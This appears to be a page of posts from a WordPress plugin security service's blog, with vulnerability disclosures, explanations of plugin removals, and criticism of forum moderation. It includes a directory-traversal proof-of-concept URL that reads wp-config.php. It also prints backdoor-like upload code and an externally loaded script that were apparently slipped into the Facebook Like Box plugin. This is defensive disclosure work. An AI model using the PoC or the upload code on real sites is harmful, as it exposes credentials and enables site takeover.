19 Oct

Arbitrary File Viewing Vulnerability in Candidate Application Form

Recently in our monitoring of the WordPress Support Forum we ran across a thread about claiming a vulnerability being exploited in a plugin Candidate Application. The vulnerability being referred to there was actually in another plugin. The slug of the plugin being discussed is wp-candidate-application-form and the vulnerability was for a plugin with the slug candidate-application-form. The vulnerability mentioned in thread was disclosed in July of 2015. The author of both of the plugins is the same and it looks like after the first plugin was removed they simply moved to the new one. That seems like something that the Plugin Directory should have noticed at the time the second one was submitted for the Plugin Directory.

Looking at the code of the new plugin we found that it has the same type of vulnerability as the first one, though the code has been changed.

In the new plugin, during init the plugin will run the function DownloadAttachment() (in the file /apply_form.php):

1458
add_action('init', array($this, 'DownloadAttachment'));

That function then will call the function downloadUrlToFile() if the GET or POST input “download-attachment” exists:

437
438
439
440
441
442
443
444
function DownloadAttachment()
{
	if (isset($_REQUEST['download-attachment'])) {
		$dir = FILE_UPLOAD_DIR;
		$file = sanitize_text_field($_REQUEST['file']);
		$this->downloadUrlToFile($dir, $file);
	}
}

In the function downloadUrlToFile() there is code that will output the contents of a file in various ways. The file being to be output is based on combining the value of the $dir and $file variables from the DownloadAttachment() function. The value of $dir would be based on the upload directory of the plugin, /wp-content/uploads/candidate_application_form/. The $file value is based on the value of the GET or POST input “file”. There is no restriction on directory traversal, so that code can be used to view the contents of file outside of the upload directory of the plugin.

We contacted the developer a week ago, but haven’t heard anything back from them and the plugin hasn’t been updated. The plugin was last updated 22 months ago, so it doesn’t seem to be being supported anymore. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will display the contents of the WordPress configuration file, wp-config.php.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/?download-attachment=test&file=../../../wp-config.php

Timeline

  • October 12, 2017 – Developer Notified
19 Oct

This Might Be Why Note Press Was Removed From the WordPress Plugin Directory

When it comes to improving the security of WordPress one the easiest things to do would be to start alerting when websites are using plugins that have been removed from the Plugin Directory for security issues. We have been trying to get that to happen for over five years, but the WordPress team has continued to refuse to do that, while claiming they are “working on it”. Recently the Wordfence Security plugin has started to warn when removed plugins are in use, which has led to more people realizing they are using removed plugins, but leaving them not knowing why the plugin was removed as there are other reasons for removal. That isn’t all the helpful as can be seen by the company behind that plugin touting this feature with a quote from a person that left a plugin with intentionally malicious code in it on their websites after it was removed from the Plugin Directory multiple times. Instead of Wordfence getting behind the effort to get this issue properly resolved, they would rather promote people being reliant on their plugin for incomplete information on removed plugins, while sometimes providing those using their plugin with outright false information about the situation with a removed plugin.

One place people have been looking for answers is the WordPress Support Forum, but unfortunately that is in as bad as shape as the handling of security by the WordPress team. The other day we left a comment correcting a misunderstanding of a comment from someone from the Plugin Directory as to whether a removed plugin contained a security issue and our comment was promptly deleted and the topic closed. So you are not going to be able to rely on getting accurate information there until the moderation of the forum is fixed.

In light all that we thought it would helpful to start putting out post when we become of possible explanation of why plugins were removed. If you are aware of a plugin that has been removed where there isn’t a possible explanation available please get in touch with us, so that we can look in to the situation.

For the second of these posts, it involves a plugin, Note Press, which our monitoring picked up having a security issue fixed recently and when we went look into that we noticed the plugin was removed.

As describe in more detail in our vulnerability details post about that vulnerability, four days ago, a file that had been in the plugin, /admin/mysql.php, was removed. That file would allow connecting to a database and viewing the table names of the database. You would need to know the credentials of the database for that to happen. The file would also expose a couple of other piece of information about the server, though those seem to probably not be a security concern in most instances. That file wasn’t used in the plugin and our best guess is that it was accidentally included in the plugin as opposed to being placed there for malicious purposes.

It seems likely that file is what caused the plugin to be removed from the Plugin Directory.

Since a fixed version has been submitted to the Subversion repository that underlies the Plugin Directory, it is possible to get access to that if you are familiar with how to work with that. For time being you can also delete that file. There were also some other fixes made to the plugin right around the time that it was removed, so you may have errors when using something less than the latest version.

Protecting Yourself Against Known Vulnerable Plugins

At this time, even if you deleted any plugins once it got removed from the Plugin Directory you could still be using plugins that have publicly disclosed vulnerabilities. That is due to the fact the no one on the WordPress team is out there making sure they pull plugins once vulnerabilities are disclosed in them and no one else notifies of them of that situation on a systematic basis. In the past we had been doing that, but we suspended doing that until WordPress finally puts forward a concrete plan to warn people about removed plugins and a concrete plan to reform the moderation of the Support Forum, so that the public can get accurate information on security from there and people trying to get vulnerabilities fixed stop getting harassed.

In the meantime installing the companion plugin for our service will get you alerted if you are using plugin that has a vulnerability that is being exploited. With our service not only will you get alerted about all vulnerabilities that we are aware of (which is many more than other providers), but we are available to assist you in determining what is the best option if you are using a plugin with an unfixed vulnerability. In many cases we can provide you with a temporary workaround so that you can continue to use the plugin until the plugin is fixed for everyone (we always try to work with developer to get their plugins fixed as well) or until you can move to another solution. In a situation like this, were there is a fixed version put out, but that you can’t update to it through the normal process, we can help our customers to apply the update as well.

Our service also allows you suggest/vote for plugins to receive a security review from us, so you can find out if the plugins you are using are secure before someone with bad intentions might find a vulnerability in one of them.

19 Oct

Vulnerability Details: Reflected Cross-Site Scripting (XSS) Vulnerability in WP-Members

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

Recently the web scanner service Detectify has been vaguely disclosing minor vulnerabilities in a number of WordPress plugins. It seems ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

18 Oct

This Might Be Why Starbox Was Removed From the WordPress Plugin Directory

When it comes to improving the security of WordPress one the easiest things to do would be to start alerting when websites are using plugins that have been removed from the Plugin Directory for security issues. We have been trying to get that to happen for over five years, but the WordPress team has continued to refuse to do that, while claiming they are “working on it”. Recently the Wordfence Security plugin has started to warn when removed plugins are in use, which has led to more people realizing they are using removed plugins, but leaving them not knowing why the plugin was removed as there are other reasons for removal. That isn’t all the helpful as can be seen by the company behind that plugin touting this feature with a quote from a person that left a plugin with intentionally malicious code in it on their websites after it was removed from the Plugin Directory multiple times. Instead of Wordfence getting behind the effort to get this issue properly resolved, they would rather promote people being reliant on their plugin for incomplete information on removed plugins, while sometimes providing those using their plugin with outright false information about the situation with a removed plugin.

One place people have been looking for answers is the WordPress Support Forum, but unfortunately that is in as bad as shape as the handling of security by the WordPress team. The other day we left a comment correcting a misunderstanding of a comment from someone from the Plugin Directory as to whether a removed plugin contained a security issue and our comment was promptly deleted and the topic closed. So you are not going to be able to rely on getting accurate information there until the moderation of the forum is fixed.

In light all that we thought it would helpful to start putting out post when we become of possible explanation of why plugins were removed. If you are aware of a plugin that has been removed where there isn’t a possible explanation available please get in touch with us, so that we can look in to the situation.

For the first of these posts we will return to the plugin we had tried to help clear up confusion over the other day, Starbox.

As describe in more detail in our vulnerability details post, two weeks ago, which was after the plugin was removed, an authenticated persistent cross-site scripting (XSS) vulnerability that would have allowed logged in users to cause malicious JavaScript code to load on the frontend of the websites and for Administrators in certain instances was fixed. There were several smaller security fixes made, but that seems like it would be what would have gotten the plugin removed.

The vulnerability would be a threat if a website had users with malicious intentions.

Since a fixed version has been submitted to the Subversion repository that underlies the Plugin Directory, it is possible to get access to that if you are familiar with how to work with that. The vulnerability is only exploitable if the plugin is active, so deactivating it would also protect you for now.

Protecting Yourself Against Known Vulnerable Plugins

At this time, even if you deleted any plugins once it got removed from the Plugin Directory you could still be using plugins that have publicly disclosed vulnerabilities. That is due to the fact the no one on the WordPress team is out there making sure they pull plugins once vulnerabilities are disclosed in them and no one else notifies of them of that situation on a systematic basis. In the past we had been doing that, but we suspended doing that until WordPress finally puts forward a concrete plan to warn people about removed plugins and a concrete plan to reform the moderation of the Support Forum, so that the public can get accurate information on security from there and people trying to get vulnerabilities fixed stop getting harassed.

In the meantime installing the companion plugin for our service will get you alerted if you are using plugin that has a vulnerability that is being exploited. With our service not only will you get alerted about all vulnerabilities that we are aware of (which is many more than other providers), but we are available to assist you in determining what is the best option if you are using a plugin with an unfixed vulnerability. In many cases we can provide you with a temporary workaround so that you can continue to use the plugin until the plugin is fixed for everyone (we always try to work with developer to get their plugins fixed as well) or until you can move to another solution. In a situation like this, were there is a fixed version put out, but that you can’t update to it through the normal process, we can help our customers to apply the update as well.

Our service also allows you suggest/vote for plugins to receive a security review from us, so you can find out if the plugins you are using are secure before someone with bad intentions might find a vulnerability in one of them.

18 Oct

Vulnerability Details: Database Connection Tool in Note Press

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

For the third plugin of the week that has been removed from the Plugin Directory and has now had a ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

17 Oct

Security Advice Should Rely on Evidence Instead of Biased Assumptions

When it comes to the poor state of security, while a lot of the problems can be placed at the feet of the security industry, the public plays an important role as well. One of the big problems we see are people providing recommendations and advice that isn’t based on any evidence. That would be a problem if was coming from security professionals, who might at least have some experience to base their assumptions on, but from the layman they usually don’t have any basis and can lead to very bad advice.

When it comes to WordPress for example, what we have found incredible is that while there are enough recommendations for various security plugins that claimed that the plugin would protect your website being hacked that you could spend days (or maybe longer) reading them all, we only found one instance of someone other than us actually doing any testing to see if they could protect against real threats that they actually could and should be able to provide some protection against. The results of our testing and the other instance of that testing were not good. Most plugins have provided no protection what so ever and for the few plugins that provided any protection, the protection was usually easily bypassed.

Another area where we frequently see advice being made that clearly isn’t coming from people that are knowledgeable and isn’t be based on evidence, is how to choose a secure plugin to use. We have seen people suggesting making decision based on all sorts of things, including the popularity of the plugin, the rating of the plugin, and many others.

Recently we ran across another suggestion, this one coming from the maker of a WordPress plugin, to only use plugins with a monetization option:

So, going forward, we are only going to recommend and use plugins where it is clear to us what the upside is for the author.  This means that many good plugins will soon be taken off our recommendation list and replaced with freemium ones (even if they are slightly inferior).

This recommendation came about due to the recent situation with plugin Postman SMTP, which is assumed to have been removed from the Plugin Directory due to a reflected cross-site scripting (XSS) vulnerability we discovered and disclosed.

The given reason for this recommendation is as follows:

This plugin is 100% free with no monetization options.  In other words, the author does not have a financial interest in the plugin and, instead, works on it in his spare time.  Had there been a premium version of this plugin available or some other way that the plugin was monetized, we have no doubt that a fix would have been available shortly after the issue was discovered.  But, since its 100% free with no upside, the author has no real incentive to provide a fix if there are other projects or a job that takes precedence.

While they have “no doubt that a fix would have been available shortly after the issue was discovered” they didn’t present any evidence to back that up.

Considering that among other things, we are probably the most frequent discoverer of vulnerabilities in WordPress plugins these days, we are probably the best qualified to judge the veracity of the statement.

While we haven’t kept statistics as how the developers of completely free plugins deal with reports of vulnerabilities versus monetized plugins (it might be interesting do that), we have plenty of experience were monetized plugins haven’t fixed been fixed in a timely manner or at all.

As a recent example of a monetized plugin with a type of vulnerability that is likely to be exploited, we notified the developer of the plugin Product Reviews (also none as Ultimate Reviews and reviews) about a PHP object injection vulnerability in their plugin on July 24. There is a paid version of that plugin available. Nearly three months later the vulnerability still hasn’t been fixed. That is despite the plugin last being updated only three weeks ago. We have also notified that developer of multiple vulnerabilities in another of their plugins and none of those have been fixed either.

A couple of other plugins show one of the reasons that simply having a monetization option isn’t going to insure that a vulnerability will be fixed. With both the plugins Contact Form 7 – PayPal Add-on and Salon booking system the developers left comments on our posts claiming that the vulnerability didn’t exist (neither one had replied when we had originally contacted them before disclosing the vulnerability). The vulnerabilities do exist, the developers just didn’t understand them. That isn’t all that surprising since we often find that the WordPress focused security industry lacks even a basic understanding of security.

In this case the recommendation came from someone that seems to not really known what they are talking about. The recommender was claiming that with having “multiple-layers of firewalls” they could have been exploited:

We have used and recommended this plugin numerous times over the years.  This near-miss for us has caused us to re-evaluate what we use and recommend to our customers.  Had we not have multiple-layers of firewalls in place, this could have been a business reputation catastrophe if someone had exploited it on our site.

The reality is that the chances of being exploited by a reflected cross-site scripting (XSS) vulnerability are incredible low and they provided no evidence that “multiple-layers of firewalls” would have had any impact on being exploited.

Their recommendation to use monetized plugins isn’t exactly unbiased since they are the provider of a monetized plugin.

Their plugin actually introduces additional security risk on to websites, since it allows anyone to create a WordPress account and often there are vulnerabilities in plugins that are only exploitable to those logged in. It only took us seconds to find just such a vulnerability in their plugin and then we found another related one (which we have notified of them of and will disclose once they have a chance to fix them).

Making Sure You Are Using Secure Plugins

In their post they stated that:

However, this meant that anyone using the plugin (estimated at about 100,000 users) was exposed to this known vulnerability for at least 2 extra months.

That wasn’t true for our customers because they started get warned about the vulnerability at the time we disclosed it. So right there is a benefit of using our service. But if you are concerned about the security of a particular plugin instead of waiting for us or someone else to happen upon a vulnerability, if you are paying customer of our service you can suggest/vote for a plugin to receive a security review from us. You can also order a review of plugin separately from the service.

A security review is the only way you are really going to be able to determine if a plugin is secure or not.

17 Oct

Vulnerability Details: Persistent Cross-Site Scripting (XSS) Vulnerability in Front-End Only Users

One of the misconceptions we see out there when it comes to the security of plugins is people believing that because a plugin is created by a company as opposed to an individual or because there is a paid element to it, it will be more secure. That clearly hasn’t been the case with the company Etoile Web Design, which hasn’t fixed multiple vulnerabilities we have ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

17 Oct

Vulnerability Details: Reflected Cross-Site Scripting (XSS) Vulnerability in Max Mega Menu

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

Recently the web scanner service Detectify has been vaguely disclosing minor vulnerabilities in a number of WordPress plugins. It seems ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

16 Oct

More of the WordPress Support Forum’s Terrible Moderation

Earlier today in a post providing the details of a vulnerability that has been fixed in the plugin Starbox, which is currently removed from the Plugin Directory, we noted there was confusion over the removal of the plugin.  In a thread about the issue, “Why was StarBox removed from the WordPress repository?“, a member of the Plugin Directory team had responded to a question about why the plugin was removed with the following:

Yes, I do. It’s not a serious concern. Relax. 🙂

The questioner then responded:

I’m glad it’s not a security reason and so now I can re-enable the plugin.

The answer given didn’t say it wasn’t a security issue and there is one. While it isn’t something likely to be exploited on the average website, as discussed in the details post, for some websites it could be considered a serious concern.

We then left a reply on the thread to see if the terrible moderation of the Support Forum that we discussed last week would strike when simply clearing up that confusion. Here is what we wrote:

He didn’t say it wasn’t a security issue, just that it was “not a serious concern”.

What is probably more accurate to say based on what has been fixed in it since the plugin was removed, is that it is a not a serious concern for the average website, but for high profile websites it could be of more concern.

Our comment was promptly deleted.

As we mentioned in the previous post, that type of deletion isn’t supposed to be happening. Here is the stock answer provided for moderators to respond with if they are asked to edit or delete something:

Generally speaking, posts are only edited or removed where to do otherwise might lead to serious consequences. Previous examples have included posts that accidentally incorporated proprietary code or where the poster asking has reason to fear for their online safety. Having a posted site url come up in Google in NOT a serious consequence. In each case, use your best judgement or ask for a second opinion. If the final decision to to leave the post “as is”, use something like:

When a post is made and people contribute answers to an issue, that then becomes part of the community resource for others to benefit from. Deleting posts removes this added value. Forum topics will only be edited or deleted if they represent a valid legal, security, or safety concern.

We could ask how our reply could be a security concern (or any of the other issues listed there), but it seems the better issue to raise if there is so much concern about the security of the plugin that they would delete someone just correcting confusion over the issue, how can WordPress allow 10,000+ websites to remain vulnerable as they are currently are doing.

Not only did they delete our comment, but they also closed the topic:

Considering the plugin still hasn’t been restored to the Plugin Directory, this is still an open issue. The closing of thread also seems problematic considering what was the last reply before ours, which was also deleted. As can be seen in the copy of the thread from before we posted, previously the final reply on the thread was a question:

So, what’s happening? Is it going to be back or what?

What possibly could be the legitimate purpose of removing that?

If you were going to delete anything from that thread it seems what would be appropriate would the comment from the member of the Plugin Directory (who is also a moderator on the forum and the “WordPress.org Admin”) claiming this was “not a serious concern” and to “relax”. Based on the actions taken in thread that would seem to something people on the WordPress side of things don’t agree with, otherwise they wouldn’t be deleting replies and closing the topic.

Not only does this terrible moderation leave the public not knowing the true status of this particular plugin, but as long it continues it is going to mean that we are not going to return to notifying the Plugin Directory of publicly disclosed vulnerabilities in the current version of plugins, which has already meant that vulnerable plugins with 100,000s of active are still in the Plugin Directory. If even knowing that a plugin has a security risk is cause for deleting multiple thread replies, that seems to indicate that all of those vulnerable plugin installs would be a much bigger issue, but it is one that WordPress is unwilling to properly address either by fixing the forum moderation or by doing the work we have previously taken care of because of their unwillingness to make sure they did not include plugins known to be insecure.

16 Oct

Is This Another Case of a Malicious Takeover of a WordPress Plugin?

In our previous post we noted how we had found that the plugin Facebook Like Box had recently had a cross-site request forgery (CSRF) related vulnerability fixed. In looking over what else had recently been done with the plugin we noticed in the previous release one of the changelog entries was “Fixed Security Bugs”.

Looking at the changes made in that version several pieces of code that had been removed stood out. At first we noticed code another CSRF related vulnerability, this time the CSRF vulnerability could lead to an arbitrary file upload vulnerability (in the file /cardoza_facebook_like_box.php):

116
117
118
119
120
if(isset($_POST['frm_fileupload']))
{
	$file_url=$_POST['file_url'];
	$file_name=explode("/",$file_url);
	$file_name=$file_name[count($file_name)-1];

That vulnerability could have allowed an attacker to cause a logged in Administrator to upload a malicious file they didn’t intend to.

Also removed was code that would load a custom CSS file that is related to that upload capability.

What is much more concerning is very similar code to the previously shown, which is at the beginning of the file:

12
13
14
15
16
17
18
19
if(isset($_POST['out_fileupload']))
{
	$file_url=$_POST['file_url'];
	$file_name=explode("/",$file_url);
	$file_name=$file_name[count($file_name)-1];
	file_put_contents(dirname(__file__)."/custom-css/$file_name",file_get_contents($file_url));
	exit;
}

What is different about that code is that unlike the first code, which runs only when visiting the plugin’s settings page, this code runs anytime WordPress loads when the plugin is active or when sending a request directly to file. With that an attacker can upload malicious files to the website as long as they can access the homepage if the plugin is active or if they can access the file directly (which would normally be the case). Nowhere in the plugin is there code that would utilize code that, unlike the other file upload code removed. That all would seem to indicate that either the code was something that was replaced with the other code and accidentally left in or that it was intended to be there for malicious purposes.

What makes this code more problematic for those hoping to be protected by a security plugin is that the file being uploaded is not sent with the request, but requested from another website. In previous testing we found that a few security plugin could provide some protection when the file being uploaded is included with the request, but none of provided protection with a very similar vulnerability when the file was being request from another website.

Something else we noticed was that the following line was removed:

55
wp_enqueue_script('admin_cfblbjs','https://johnnash.info/plugin/ads.js');

That would cause the contents of the URL at https://johnnash.info/plugin/ads.js to be loaded on admin pages as JavaScript, which could possibly have been used for malicious purposes. That URL is currently serving a blank page.

The domain johnnash.info was registered on March 15, 2017, the registrant it isn’t listed (GoDaddy’s Domains By Proxy is listed), and the website is being served through Cloudflare.

All of the previously mentioned code was added to the plugin on March 16, 2017. That change was the first made by johnnash1975 to the plugin. Three days later the only previous committer, vinoj.cardoza, changed the Contributors to johnnash1975. That was the last change they made.

On the original author’s page for the plugin on October 4 they replied to a comment with the following:

Thanks for posting your question. Sorry, I have already sold this plugin to someone else. I have forwarded your question to them.

So it appears you have someone that purchased the plugin, which has 20,000+ active installs, and then promptly added code that created a major vulnerability. It’s possible that is unintentional, but it doesn’t look good.

It would seem the Plugin Directory team believes that the current developer doesn’t have just malicious intent since they have allowed them to submit two updates. What is concerning is if they believe this was not intentional is that they have not move quicker to get a secured version out to others, as the plugin only returned to the Plugin Directory sometime since yesterday afternoon. If we have figured out something has vulnerability, you can be sure others could as well. Considering that we are behind in checking over changes to plugins that lead us to notice this, hackers have already had nearly two weeks since the changes were made to realize there is an issue and start exploiting it (maybe they already are).

The Plugin Directory didn’t require the new developer to update the plugin to list them as the developer before restoring the plugin, which seems like something that absolutely should have been done based on what has happened with the plugin.

If someone had already realized the true scope issue, not disclosing that fact so far seems to be a questionable decision.

 

Get Alerted to This Type of Situation

For situations like this, where we become aware that there is likely intentionally malicious code we add that issue to the free data that comes with our services companion plugin (we also include vulnerabilities we see being exploited in that data), so using the plugin would warn you about this type of situation even if you don’t use our service. If you use our service you get warned about all publicly disclosed vulnerabilities that we are aware of (which is many more than any other provider out there is aware of). Currently you can try the service for free for a year.

The issues with this plugin would have been picked up by the security reviews we do, which can be purchased or if you are paying a customer you get to suggest/vote for plugins to get a review from us.

If you become aware of a plugin where you suspect there has been something like this done to it, we would appreciate if you would notify us of the situation so that we can look into it. You can also notify the Plugin Directory of it.

Proof of Concept

While it is very easy to exploit this vulnerability and we don’t think hackers would have any problem figuring it out themselves, we will hold back on including it here for the moment. If someone needs that right away, get in touch with us.